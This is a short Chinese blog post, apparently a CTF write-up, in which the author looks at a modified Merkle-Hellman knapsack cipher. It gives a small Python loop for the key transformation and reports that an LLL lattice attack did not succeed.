可以看到代码中的Bag很明显符合这个超增量背包这个概念,说明这个魔改的背包公钥算法。而观察背包公钥算法的解密部分,需要的求一个逆让密文与这个逆进行模乘运算,最后使用超增量的方式进行贪心遍历即可得到解。

原本想了一下,Pk本身不就是一个超增量背包吗,不能直接进行排序求解吗,结果还真不行。

看一下sk都给了些什么,m,w和e,f都给了。

1
2
3
4
5
6
for i in range(Baglenth):
di=(w*Bag[i])%m
D.append(di)
bindi=bin(di)[2:]
bindi=pad(bindi,h)
binD.append(bindi)

查了查资料想用LLL算法直接梭哈一把,可惜没能成功。(数学功底太差了,看不懂结果,我觉得答案应该在输出的结果中,但是我不知道是哪一个。)


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!